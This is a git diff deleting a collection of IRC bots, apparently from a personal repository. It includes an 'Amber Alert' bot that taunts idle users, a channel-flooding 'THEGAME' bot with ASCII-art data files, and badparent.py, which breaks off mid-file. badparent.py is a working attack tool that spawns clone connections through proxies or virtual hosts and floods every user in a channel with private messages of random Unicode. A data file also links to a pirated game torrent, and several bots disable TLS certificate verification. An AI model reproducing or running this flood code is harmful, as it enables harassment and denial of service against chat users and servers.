-	outImg = Image.new('RGBA', outSize, (*ColorsNormal[1], 255))
-	outImgDraw = ImageDraw.Draw(outImg)
-	for inCurRow in range(len(inCanvasMap)):
-		for inCurCol in range(len(inCanvasMap[inCurRow])):
-			inCurCell = inCanvasMap[inCurRow][inCurCol]
-			outColours = [0, 0]
-			if inCurCell[2] & 0x01:
-				if inCurCell[3] != ' ':
-					if inCurCell[3] == '█':
-						outColours[1] = ColorsNormal[inCurCell[0]]
-					else:
-						outColours[0] = ColorsBold[inCurCell[0]]
-						outColours[1] = ColorsNormal[inCurCell[1]]
-				else:
-					outColours[1] = ColorsNormal[inCurCell[1]]
-			else:
-				if inCurCell[3] != ' ':
-					if inCurCell[3] == '█':
-						outColours[1] = ColorsNormal[inCurCell[0]]
-					else:
-						outColours[0] = ColorsNormal[inCurCell[0]]
-						outColours[1] = ColorsNormal[inCurCell[1]]
-				else:
-					outColours[1] = ColorsNormal[inCurCell[1]]
-			outImgDraw.rectangle((*outCurPos,outCurPos[0] + outImgFontSize[0], outCurPos[1] + outImgFontSize[1]), fill=(*outColours[1], 255))
-			if  not inCurCell[3] in ' █' and outColours[0] != outColours[1]:
-				outImgDraw.text(outCurPos,inCurCell[3], (*outColours[0], 255), outImgFont)
-			if inCurCell[2] & 0x04:
-				outColours[0] = ColorsNormal[inCurCell[0]]
-				outImgDraw.line(xy=(outCurPos[0], outCurPos[1] + (outImgFontSize[1] - 2), outCurPos[0] + outImgFontSize[0], outCurPos[1] + (outImgFontSize[1] - 2)), fill=(*outColours[0], 255))
-			outCurPos[0] += outImgFontSize[0]
-		outCurPos[0] = 0
-		outCurPos[1] += outImgFontSize[1]
-	out_file = os.path.join('data','temp.png')
-	if os.path.isfile(out_file):
-		os.remove(out_file)
-	outImg.save(out_file)
-\ No newline at end of file
diff --git a/irc/bots/amber.py b/irc/bots/amber.py
@@ -1,132 +0,0 @@
-#!/usr/bin/env python
-# Amber Alert IRC Bot - Developed by acidvegas & blowfish in Python (https://acid.vegas/random)
-
-import asyncio
-import random
-import ssl
-import textwrap
-
-def ascii(nick):
-	age    = '{0!s}{1}'.format(random.randint(12,90), random.choice(['',' AND HALF']))
-	height = '{0!s}\' {1!s}"'.format(random.randint(3,6), random.randint(1,12))
-	weight = '{0!s}LBS'.format(random.randint(90,500)) # >200 = (FNO)
-	eyes   = random.choice(['BLUE','BROWN','GREEN'])
-	return textwrap.dedent(f'''1,4                                                  
-		1,4  1,8^^^^^^1,4  1,1   1,4 1,1     1,4 1,1  1,4  1,1  1,4 1,1  1,4   1,1   1,4 1,1 1,4  1,1  1,4 1,1  1,4  1,1   1,4 
-		1,4 1,8<0,2 **** 1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4  1,1 1,4 1,1 1,4  1,1 1,4 1,1 1,4 1,1 1,4  1,1 1,4  1,1 1,4 1,1 1,4  1,1 1,4  
-		1,4 1,8<0,2*CFLC*1,8>1,4 1,1   1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1  1,4  1,1  1,4 1,1  1,4   1,1   1,4 1,1 1,4  1,1  1,4 1,1  1,4   1,1 1,4  
-		1,4 1,8<0,2 **** 1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4   1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4  1,1 1,4 1,1 1,4  1,1 1,4 1,1 1,4 1,1 1,4  1,1 1,4  1,1 1,4 1,1 1,4  1,1 1,4  
-		1,4  1,8VVVVVV1,4  1,1 1,4 1,1 1,4 1,1 1,4   1,1 1,4 1,1  1,4  1,1  1,4 1,1 1,4 1,1 1,4  1,1 1,4 1,1 1,4 1,1  1,4 1,1  1,4 1,1 1,4 1,1 1,4  1,1 1,4  
-		1,4                                                  
-		1,1                                                  
-		1,0                                                  
-		1,0                                                  
-		1,0  1,1                    1,0                            
-		1,0  1,1 1,10                  1,1 1,0   12NAME   1: {nick.ljust(16)}
-		1,0  1,1 1,10 5,7,;',;',,5,10 1        1,1 1,0                            
-		1,0  1,1 1,10 5,7.;'.  ( _5,10 1       1,1 1,0  12 AGE    1: {age.ljust(16)}
-		1,0  1,1 1,10 5,7.1@5;;1  0O O 1,10       1,1 1,0                            
-		1,0  1,1 1,10 5,7.1 5; 1    > 1,10       1,1 1,0  12 HEIGHT1 : {height.ljust(16)}
-		1,0  1,1 1,10 5,7;1    5 ;;;;5,10  1     1,1 1,0                            
-		1,0  1,1 1,10 1,7      1,1___1,10 1,6\  1,10    1,1 1,0  12 WEIGHT1 : {weight.ljust(16)}
-		1,0  1,1 1,7          1,10 1,6  1,7   1,10  1,1 1,0                            
-		1,0  1,1 1,7     1,10         1,7   1,10 1,1 1,0   12EYES  1 : {eyes.ljust(16)}
-		1,0  1,1                    1,0                            
-		1,0                                                  
-		1,0  Missing from #superbowl, SuperNETs since 2007   
-		1,0                                                  
-		1,0  ANY INFORMATION REGARDING THE WHERE-ABOUTS OF   
-		1,0  THIS CHATTER SHOULD REPORT IT TO THE OFFICAL    
-		1,0  CENTER FOR LOST CHATTERS 14(CFLC)1 AS SOON AS OK.  
-		1,0                                                  
-		1,0  1-800-5MISSING1                 missing@cflc.gov  
-		1,0                                                  ''')
-
-def ssl_ctx():
-	ctx = ssl.create_default_context()
-	ctx.check_hostname = False
-	ctx.verify_mode = ssl.CERT_NONE
-	return ctx
-
-class IRC:
-	def __init__(self):
-		self.options  = {'host':'irc.supernets.org','port':6697,'limit':1024,'ssl':ssl_ctx(),'family':2}
-		self.reader   = None
-		self.writer   = None
-		self.names    = {'found':list(), 'idle':list()}
-		self.scanning = False
-		self.looping  = False
-
-	def _event_names(self, names):
-		if self.scanning:
-			for name in names:
-				if name[:1] in '~!@%&+:':
-					name = name[1:]
-				if name not in ('AMBERALERT','CANCER','ChanServ','DickServ','EliManning','FUCKYOU','scroll'):
-					self.names['found'].append(name)
-
-	async def _event_end_of_names(self):
-		self.scanning = False
-		for name in self.names['found']:
-			self._raw(f'WHOIS {name} {name}') # Have to double to nick to see far-connected idle times? Weird...
-			await asyncio.sleep(2)
-		if self.names['idle']:
-			target = random.choice(self.names['idle'])
-			for line in ascii(target).split('\n'):
-				self._raw(f'PRIVMSG #superbowl :{line}')
-				self._raw(f'PRIVMSG {target} :{line}')
-		self.names = {'found':list(), 'idle':list()}
-
-	async def _loop(self):
-		while self.looping:
-			if not self.scanning:
-				self.scanning = True
-				self._raw('NAMES #superbowl')
-			await asyncio.sleep(random.randint(43200,86400)) # 12H-1D
-
-	def _raw(self, data):
-		self.writer.write(data[:510].encode('utf-8') + b'\r\n')
-
-	async def _connect(self):
-		try:
-			self.reader, self.writer = await asyncio.open_connection(**self.options)
-			self._raw(f'USER missing 0 * :Amber Alert IRC Bot')
-			self._raw('NICK AMBERALERT')
-		except Exception as ex:
-			print(f'[!] - Failed to connect to IRC server! ({ex!s})')
-		else:
-			while not self.reader.at_eof():
-				line = await self.reader.readline()
-				line = line.decode('utf-8').strip()
-				print('[~] - '+line)
-				args = line.split()
-				if args[0] == 'PING':
-					self._raw('PONG ' + args[1][1:])
-				elif args[1] == '001': # RPL_WELCOME
-					self._raw('MODE AMBERALERT +BDd')
-					self._raw('PRIVMSG NickServ IDENTIFY AMBERALERT CHANGEME')
-					await asyncio.sleep(3)
-					self._raw('JOIN #superbowl')
-				elif args[1] == '353' and len(args) >= 6: # RPL_NAMREPLY
-					chan = args[4]
-					if chan == '#superbowl':
-						names = ' '.join(args[5:])[2:].split()
-						self._event_names(names)
-				elif args[1] == '366' and len(args) >= 4: # RPL_ENDOFNAMES
-					chan = args[3]
-					if chan == '#superbowl':
-						if self.scanning:
-							asyncio.create_task(self._event_end_of_names())
-						elif not self.looping:
-							self.looping = True
-							asyncio.create_task(self._loop())
-				elif args[1] == '317' and len(args) >= 5: # RPL_WHOISIDLE
-					nick = args[3]
-					idle = args[4]
-					if int(idle) >= 604800: # 1W
-						self.names['idle'].append(nick)
-
-# Start
-if __name__ == '__main__':
-	Bot = IRC()
-	asyncio.run(Bot._connect())
-\ No newline at end of file
diff --git a/irc/bots/anythinggoes/anythinggoes.py b/irc/bots/anythinggoes/anythinggoes.py
@@ -1,269 +0,0 @@
-# -*- coding: utf-8 -*-
-#!/usr/bin/env python
-# THEGAME IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
-import random,socket,ssl,threading,time
-
-# Config
-admin_ident       = 'acidvegas!*@*'
-channel           = '#anythinggoes'
-nickserv_password = 'CHANGEME'
-operator_password = 'CHANGEME'
-throttle_msg      = 0.15
-
-# Formatting Control Characters / Color Codes
-bold        = '\x02'
-italic      = '\x1D'
-underline   = '\x1F'
-reverse     = '\x16'
-reset       = '\x0f'
-white       = '00'
-black       = '01'
-blue        = '02'
-green       = '03'
-red         = '04'
-brown       = '05'
-purple      = '06'
-orange      = '07'
-yellow      = '08'
-light_green = '09'
-cyan        = '10'
-light_cyan  = '11'
-light_blue  = '12'
-pink        = '13'
-grey        = '14'
-light_grey  = '15'
-
-def color(msg,foreground,background=None):return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
-def error(msg,reason):print(f'{get_time()} | [!] - {msg} ({reason})')
-def get_time():return time.strftime('%I:%M:%S')
-def random_str(size):return ''.join(random.choice('aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ') for _ in range(size))
-
-class Functions:
-	def banana_bomb():
-		for i in range(random.randint(5,10)):
-			spaces=random.randint(1,120)
-			for line in banana_data:
-				Bot.sendmsg(channel,' '*spaces+line)
-
-	def chat_rain(amount):
-		words = ('ok','tru','same','wow','nice','XD','ok','np','sup','cool','nmu','lol','ah','srry','jk')
-		for i in range(amount):
-			Bot.sendmsg(channel,' '*random.randint(3,25)+random.choice(words)+' '*random.randint(10,50)+random.choice(words)+' '*random.randint(10,50)+random.choice(words))
-
-	def crab_flood(amount):
-		counter=1
-		notify=random.randint(100,999)
-		if amount>=1000000:
-			amount=1000000
-			Bot.sendmsg(channel,color('GENTLEMEN! BEHOLD!',red))
-			Bot.sendmsg(channel,color('THE MILLION CRAB MARCH!',red))
-		for i in range(amount):
-			spaces=random.randint(1,120)
-			for line in crab_data:
-				Bot.sendmsg(channel,' '*spaces+line)
-			counter+=1
-			if counter==notify:
-				spaces=random.randint(1,120)
-				Bot.sendmsg(channel,color(' '*spaces+str(i)+' MOTHER FUCKING CRABS !!!',red))
-				counter=1
-
-	def grave(nick):
-		length=len(nick)
-		Bot.sendmsg(channel,color(' '*(length+8),light_blue,light_blue))
-		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('    ',light_blue,light_blue),color(' ',grey,grey),color(' '*length,light_grey,light_grey),color('    ',light_blue,light_blue)))
-		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('   ',light_blue,light_blue),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color('   ',light_blue,light_blue)))
-		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('   ',light_green,light_green),color(' ', grey),color('R I P'.center(length+2),black,light_grey),color('   ',light_green,light_green)))
-		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('   ',green,green),color(' ', grey),color(nick.upper().center(length+2),black,light_grey),color('   ',light_green,light_green)))
-		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('   ',green,green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color('   ',light_green,light_green)))
-		Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color(' ',light_green,light_green),color('  ',green,green),color(' ',grey),color('2018'.center(length+2),black,light_grey),color('   ', light_green,light_green)))
-		Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color('  ',light_green,light_green),color(' ',green,green),color(' ',grey),color(' '*(length+2),light_grey,light_grey),color('   ',light_green,light_green)))
-		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('   ',light_green,light_green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color('   ', light_green,light_green)))
-
-	def rain(word,amount):
-		for i in range(amount):
-			Bot.sendmsg(channel,' '*random.randint(3,25)+word+' '*random.randint(10,50)+word+' '*random.randint(10,50)+word)
-
-	def rope(length):
-		spaces=50
-		prev=None
-		for i in range(length):
-			if random.choice((True,False)):
-				if prev!='╱':spaces+=1
-				char='╲'
-			else:
-				if prev!='╲':spaces-=1
-				char='╱'
-			Bot.sendmsg(channel,' '*spaces+char)
-			prev=char
-		Bot.sendmsg(channel,' '*(spaces-2)+'(;))')
-
-	def wave(msg,lines,spaces,hilite):
-		rainbow=['04','08','09','11','12','13']
-		spacer=15
-		spaces+=spacer
-		toggle=True
-		data=list()
-		for i in range(lines):
-			if hilite:
-				Bot.sendmsg(channel,'{0}{1}{2}{3}'.format((Bot.nicks[0]+': ').ljust(spacer),color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
-				Bot.nicks.append(Bot.nicks.pop(0))
-			else:
-				Bot.sendmsg(channel, '{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
-			rainbow.append(rainbow.pop(0))
-			if toggle:spacer+=1
-			else:spacer-=1
-			if spacer==spaces:toggle=False
-			elif spacer==15:toggle=True
-
-	def worm(length):
-		spacer=random.randint(10,100)
-		Bot.sendmsg(channel,'{0}   {1}{2}'.format(' '*spacer,color('░▒▓',pink),color('▓▒░',pink)))
-		Bot.sendmsg(channel,'{0}  {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('  ',black,pink),color('▓▒░',pink)))
-		Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('    ',black,pink),color('▓▒░',pink)))
-		for i in range(length):
-			Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('      ',black,pink),color('▓▒░',pink)))
-			if random.choice((True,False)):spacer += 1
-			else:spacer-=1
-		Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('_  _',black,pink),color('▓▒░',pink)))
-		Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('o  o',black,pink),color('▓▒░',pink)))
-		Bot.sendmsg(channel,'{0}  {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('  ',black,pink),color('▓▒░',pink)))
-
-class WormNet(threading.Thread):
-	def __init__(self):
-		self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
-		threading.Thread.__init__(self)
-	def run(self):
-		Bot.wormnet=True
-		try:
-			self.sock.connect(('wormnet1.team17.com',6667))
-			self.raw('PASS ELSILRACLIHP')
-			self.raw('USER Username hostname servername :48 0 US 3.7.2.1')
-			self.raw('NICK SUPERNETS')
-			while True:
-				data=self.sock.recv(1024).decode('utf-8')
-				for line in (line for line in data.split('\r\n') if len(line.split())>=2):
-					Bot.sendmsg_wormnet('raw',cyan,line)
-					args=line.split()
-					if line.startswith('ERROR :Closing Link:'):raise Exception('Connection has closed.')
-					elif args[0]=='PING':self.raw('PONG '+args[1][1:])
-					elif args[1]=='001':self.raw('JOIN '+channel)
-					elif args[1]=='366':Bot.sendmsg_wormnet('join',green,'Joined #anythinggoes channel!')
-		except (UnicodeDecodeError,UnicodeEncodeError):pass
-		except Exception as ex:
-			Bot.sendmsg_wormnet('error',red,'Unknown error occured!',ex)
-			self.sock.close()
-			Bot.wormnet=False
-			Bot.sendmsg_wormnet('disconnected',red,'Lost connection to the WormNet relay!')
-	def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
-	def sendmsg(self,target,msg):self.raw(f'PRIVMSG {target} :{msg}')
-
-class IRC(object):
-	def __init__(self):
-		self.nicks=list()
-		self.echo=False
-		self.sock=None
-		self.wormnet=False
-
-	def connect(self):
-		try:
-			self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
-			self.sock.connect(('irc.supernets.org',6667))
-			self.raw(f'USER THEG 0 * :YOU LOST THE GAME')
-			self.raw('NICK THEGAME')
-			while True:
-				data = self.sock.recv(1024).decode('utf-8')
-				print(data)
-				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
-					print(f'{get_time()} | [~] - {line}')
-					args = line.split()
-					if args[0]=='PING':
-						self.raw('PONG '+args[1][1:])
-					elif args[1]=='001':
-						self.raw('MODE THEGAME +BDd')
-						self.sendmsg('NickServ','IDENTIFY THEGAME '+nickserv_password)
-						self.raw(f'OPER thegame {operator_password}')
-						self.raw('JOIN '+channel)
-					elif args[1]=='433':self.raw('NICK THE_GAME_'+str(random.randint(10,99)))
-					elif args[1]=='353' and len(args)>=6:self.nicks+=' '.join(args[5:])[2:].split()
-					elif args[1]=='JOIN' and len(args)==3:self.raw('NOTICE {0} :Thank you for joining #AnythingGoes, you have {1} memo(s) waiting. Please type /server MemoServ read to check your messages.'.format(args[0].split('!')[0][1:],color(random.randint(1,3),red)))
-					elif args[1]=='PART' and len(args)>=3:
-						self.sendmsg(args[2],color('EMO-PART DETECTED',red))
-						self.sendmsg(args[0].split('!')[0][1:],'bet u wont come back pussy...')
-					elif args[1]=='PRIVMSG' and len(args)>=4:
-						ident=args[0][1:]
-						nick=args[0].split('!')[0][1:]
-						chan=args[2]
-						msg= ' '.join(args[3:])[1:]
-						if chan==channel:self.event_message(ident,nick,chan,msg)
-					elif args[1]=='QUIT':Functions.grave(args[0].split('!')[0][1:])
-		except(UnicodeDecodeError,UnicodeEncodeError):pass
-		except Exception as ex:
-			print(ex)
-			self.sock.close()
-		time.sleep(15)
-		self.connect()
-
-	def event_message(self,ident,nick,chan,msg):
-		args=msg.split()
-		if msg[:1]=='!':
-			if msg=='!bananabomb':Functions.banana_bomb()
-			elif msg=='!crate':
-				for line in crate_data:self.sendmsg(channel,line)
-			elif msg=='!echo':
-				self.echo=False if self.echo else True
-			elif msg=='refresh':
-				self.nicks=list()
-				self.raw('NAMES #anythinggoes')
-			elif msg=='!wormnet':WORMS.start()
-			elif msg=='!worms':
-				for line in worms_data:self.sendmsg(channel, line)
-			elif len(args)==2:
-				if args[1].isdigit():
-					amount=int(args[1])
-					if args[0]=='!chatrain':
-						if amount<=100 or ident==admin_ident:Functions.chat_rain(amount)
-						else:self.sendmsg(chan,'Max: 100')
-					elif msg.startswith('!crabflood'):
-						if amount<=10 or ident==admin_ident:Functions.crab_flood(amount)
-						else:self.sendmsg(chan,'Max: 10')
-					elif msg.startswith('!rope'):
-						if amount<=100 or ident==admin_ident:Functions.rope(amount)
-						else:self.sendmsg(chan,'Max: 100')
-					elif msg.startswith('!worm'):
-						if amount<=100 or ident==admin_ident:Functions.worm(amount)
-						else:self.sendmsg(chan,'Max: 100')
-			elif args[0]=='!rain' and len(args)>=3:
-				amount=args[1]
-				data=' '.join(args[2:])
-				if args[1].isdigit():
-					if int(args[1])<=100 or ident==admin_ident:Functions.rain(data,int(args[1]))
-					else:self.sendmsg(chan,'Max: 100')
-			elif args[0] in ('!wave','!wavehl') and len(args)>=4:
-				lines =args[1]
-				spaces=args[2]
-				data=' '.join(args[3:])
-				if lines.isdigit() and spaces.isdigit():
-					if int(lines)<=100 or ident==admin_ident:
-						if args[0]=='!wave':
-							Functions.wave(data,int(lines),int(spaces),False)
-						else:
-							Functions.wave(data,int(lines),int(spaces),True)
-					else:self.sendmsg(chan,'Max: 100')
-		elif self.echo:self.sendmsg(chan,msg)
-
-	def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
-	def sendmsg(self,target,msg):
-		time.sleep(throttle_msg)
-		self.raw(f'PRIVMSG {target} :{msg}')
-	def sendmsg_wormnet(self,title,title_color,msg,extra=None):
-		if extra:self.sendmsg(channel,'[{0}] [{1}] {2} {3}'.format(color('WORMNET',pink),color(title,title_color),msg,color('({0})'.format(extra),grey)))
-		else:self.sendmsg(channel,'[{0}] [{1}] {2}'.format(color('WORMNET',pink),color(title,title_color),msg))
-
-# Main
-banana_data=open('data/banana.txt').readlines()
-crab_data=open('data/crab.txt').readlines()
-crate_data=open('data/crate.txt').readlines()
-worms_data=open('data/worms.txt').readlines()
-Bot=IRC()
-WORMS=WormNet()
-Bot.connect()
diff --git a/irc/bots/anythinggoes/data/banana.txt b/irc/bots/anythinggoes/data/banana.txt
@@ -1,4 +0,0 @@
- 8".           ,#
- 8\ `-._____,-'=/
-  8`._ ----- _,'
-     8`-----'
diff --git a/irc/bots/anythinggoes/data/crab.txt b/irc/bots/anythinggoes/data/crab.txt
@@ -1,10 +0,0 @@
-     ,        ,
-    /(_,    ,_)\
-    \ _/    \_ /
-    //        \\
-    \\ (@)(@) //
-     \'=\"==\"='/
- ,===/        \===,
-\",===\        /===,\"
-\" ,==='------'===, \"
- \"                \"
diff --git a/irc/bots/anythinggoes/data/crate.txt b/irc/bots/anythinggoes/data/crate.txt
@@ -1,11 +0,0 @@
-7,7                         
-7,7  7,2   7,7   7,4        7,7    7,2   7,7  
-5,7   5,2 5,7  7 7,4   7,7    7,4   7,7    7,2 7,7   
-1,7|||5|1,5|1,7|||7,4  1,7|||1,5|7,4   1,7||1,5|1,7|||||
-1,7|||5|1,5|1,7|||1,5|1,7|||7,4    1,7|||1,5|1,7|||||
-1,7||||1,5|1,7|||1,5|1,7||7,4   1,7|||||1,5|1,7|||||
-1,7||||1,5|1,7|||1,5|1,7||7,4   1,7|||||1,5|1,7|||||
-1,7||||1,5|1,7|||1,5|1,7||||1,5|1,7|||||1,5|1,7|||||
-7,7   7,2 7,7       7,4   7,7       7,2 7,7   
-7,7  7,2   7,7               7,2   7,7  
-7,7
-\ No newline at end of file
diff --git a/irc/bots/anythinggoes/data/worms.txt b/irc/bots/anythinggoes/data/worms.txt
@@ -1,22 +0,0 @@
-4,1Worms Armageddon 0                                                                                                                                
-0,1                                                                                                                                                 
-0,1[13Installation & Setup0]                                                                                                                           
-0,011. Torrent & install Worms Armageddon                                                                                                            
-0,1	14-0 12http://thepiratebay.org/torrent/12392765/Worms_Armageddon_3.7.2.1_[no-Steam]0                                                                  
-0,1                                                                                                                                                 
-0,012. Download WormNAT2 & place the DLL files from it into the "C:\Program Files (x86)\Worms Armageddon" directory.                                 
-0,1	14-0 12http://worms.thecybershadow.net/wormkit/wkWormNAT2.zip0                                                                                        
-0,1                                                                                                                                                 
-0,013. Start the game, open the options screen, click "Advanced" & make sure "Load Wormkit modules" is checked.                                      
-0,1                                                                                                                                                 
-0,1Note: If you get an error about save data when you start worms you have to edit the worms directory folder permissions to have full write access.
-0,1                                                                                                                                                 
-0,1[13Useful Resources0]                                                                                                                               
-14,1•0 Torrent Mirror 12https://www.pyrex.pw/files/worms/worms.torrent0                                                                                  
-14,1•0 Maps & Schemes 12https://www.pyrex.pw/files/worms/worms-maps-schemes.zip0                                                                         
-14,1•0 Mod Pack	      12https://www.pyrex.pw/files/worms/worms-mods.zip0                                                                                      
-14,1•0 Worms Wiki	  12http://worms2d.info/Worms_Armageddon0                                                                                               
-0,1                                       12   0                                                                                                       
-0,1[13Credits0]                                                                                                                                        
-0,1 14-0 TEAM WORMSEC OK                                                                                                                               
-0,1 14-0 irc.supernets.org (6667/+6697) #anythinggoes
diff --git a/irc/bots/badparent.py b/irc/bots/badparent.py
@@ -1,302 +0,0 @@
-#!/usr/bin/env python
-# BadParent IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
-# badparent.py
-
-'''
-The parent bot will join a channel, parse the entire nicklist, and maintain it during joins, quits, nick changes, etc.
-The child bot clones will use either proxies or virtual hosts to connect and PM the nicklist.
-Nicks that have the usermode +g *(callerid)*, +D *(privdeaf)*, and +R *(regonlymsg)* will be removed from the nicklist.
-'''
-
-import argparse
-import concurrent.futures
-import os
-import random
-import ssl
-import socket
-import string
-import sys
-import threading
-import time
-
-server   = 'irc.server.com'
-port     = 6667
-nickname = 'BIGDADDY'
-username = 'dad'
-realname = 'I am horrible...'
-
-def alert(msg):
-	print(f'{get_time()} | [+] - {msg}')
-
-def debug(msg):
-	print(f'{get_time()} | [~] - {msg}')
-
-def error(msg, reason=None):
-	print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
-
-def error_exit(msg):
-	raise SystemExit(f'{get_time()} | [!] - {msg}')
-
-def get_time():
-	return time.strftime('%I:%M:%S')
-
-def random_str(size):
-	return ''.join(random.choice(string.ascii_letters) for _ in range(size))
-
-def unicode():
-	msg = ''
-	for i in range(random.randint(400,450)):
-		msg += chr(random.randint(0x1000, 0x3000))
-	return msg
-
-
-
-
-class parent(object):
-	def __init__(self):
-		self.nicklist = list()
-		self.sock     = None
-
-	def connect(self):
-		try:
-			self.sock = socket.socket()
-			self.sock.connect((server, port))
-			self.raw(f'USER {username} 0 * :{realname}')
-			self.raw('NICK ' + nickname)
-		except socket.error as ex:
-			error('Failed to connect to IRC server.', ex)
-			self.event_disconnect()
-		else:
-			self.listen()
-
-	def event_connect(self):
-		if config.login.nickserv:
-			self.identify(config.ident.nickname, config.login.nickserv)
-		self.join_channel(config.connection.channel, config.connection.key)
-
-	def event_disconnect(self):
-		error('The parent bot has disconected!')
-		self.sock.close()
-
-	def event_end_of_names(self, chan):
-	   if self.nicklist:
-		   alert(f'Found {len(self.nicklist)} nicks in channel.')
-		   threading.Thread(target=load_children).start()
-	   else:
-		   error('Failed to parse nicklist from channel.')
-
-	def event_join(self, nick, chan):
-		if chan == config.connection.channel:
-			if nick not in self.nicklist:
-				self.nicklist.append(nick)
-
-	def event_kick(self, nick, chan, kicked):
-		if chan == config.connection.channel:
-			if kicked == config.ident.nickname:
-				time.sleep(3)
-				self.join(self.chan, self.key)
-
-	def event_names(self, chan, names):
-		if chan == config.connection.channel:
-			for name in names:
-				if name[:1] in '~!@%&+:':
-					name = name[1:]
-				if name != config.ident.nickname and name not in self.nicklist:
-					self.nicklist.append(name)
-
-	def event_nick(self, nick, new):
-		if nick in self.nicklist:
-			self.nicklist.remove(nick)
-			self.nicklist.append(new)
-
-	def event_nick_in_use(self):
-		self.raw('NICK ' + random_str(random.randint(4,7)))
-
-	def event_quit(self, nick):
-		if nick in self.nicklist:
-			self.nicklist.remove(nick)
-
-	def handle_events(self, data):
-		args = data.split()
-		if data.startswith('ERROR :Closing Link:'):
-			raise Exception('Connection has closed.')
-		elif args[0] == 'PING':
-			self.raw('PONG ' + args[1][1:])
-		elif args[1] == '001':
-			self.event_connect()
-		elif args[1] == '433':
-			self.event_nick_in_use()
-		elif args[1] == '353':
-			chan = args[4]
-			if ' :' in data:
-				names = data.split(' :')[1].split()
-			elif ' *' in data:
-				names = data.split(' *')[1].split()
-			elif ' =' in data:
-				names = data.split(' =')[1].split()
-			else:
-				names = data.split(chan)[1].split()
-			self.event_names(chan, names)
-		elif args[1] == '366':
-			chan = args[3]
-			self.event_end_of_names(chan)
-		elif args[1] == 'JOIN':
-			nick = args[0].split('!')[0][1:]
-			chan = args[2][1:]
-			self.event_join(nick, chan)
-		elif args[1] == 'KICK':
-			chan   = args[2]
-			kicked = args[3]
-			self.event_kick(nick, chan, kicked)
-		elif args[1] == 'NICK':
-			nick = args[0].split('!')[0][1:]
-			new  = args[2][1:]
-			self.event_nick(nick, new)
-		elif args[1] == 'QUIT' :
-			nick = args[0].split('!')[0][1:]
-			self.event_quit(nick)
-
-	def join_channel(self, chan, key=None):
-		self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan)
-
-	def listen(self):
-		while True:
-			try:
-				data = self.sock.recv(1024).decode('utf-8')
-				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
-					self.handle_events(line)
-			except (UnicodeDecodeError,UnicodeEncodeError):
-				pass
-			except Exception as ex:
-				error('Unexpected error occured.', ex)
-				break
-		self.event_disconnect()
-
-	def raw(self, msg):
-		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
-
-
-
-class child:
-	def __init__(self, data_line):
-		self.data_line = data_line
-		self.sock      = None
-
-	def attack(self):
-		while True:
-			try:
-				if not Parent.nicklist:
-					error('Nicklist has become empty!')
-					break
-				for name in Parent.nicklist:
-					self.sendmsg(name, unicode())
-					time.sleep(config.throttle.pm)
-			except:
-				break
-
-	def connect(self):
-		try:
-			self.create_socket()
-			self.sock.connect((config.connection.server, config.connection.port))
-			self.raw('USER {0} 0 * :{1}'.format(random_str(random.randint(4,7)), random_str(random.randint(4,7))))
-			self.raw('NICK ' + random_str(random.randint(4,7)))
-		except socket.error:
-			self.sock.close()
-		else:
-			self.listen()
-
-	def create_socket(self):
-		family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
-		if pargs.proxy:
-			proxy_server, proxy_port = self.data_line.split(':')
-			self.sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
-			self.sock.setblocking(0)
-			self.sock.settimeout(config.throttle.timeout)
-			self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
-		elif pargs.vhost:
-			self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
-			self.sock.bind((self.data_line, 0))
-		if config.connection.ssl:
-			self.sock = ssl.wrap_socket(self.sock)
-
-	def listen(self):
-		while True:
-			try:
-				data = self.sock.recv(1024).decode('utf-8')
-				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
-					args = data.split()
-					if data.startswith('ERROR :Closing Link:'):
-						raise Exception('Connection has closed.')
-					elif args[0] == 'PING':
-						self.raw('PONG ' + args[1][1:])
-					elif args[1] == '001':
-						alert(f'Successful connection. ({self.data_line})')
-						threading.Thread(target=self.attack).start()
-					elif args[1] == '401':
-						nick = args[3]
-						self.event_bad_nick()
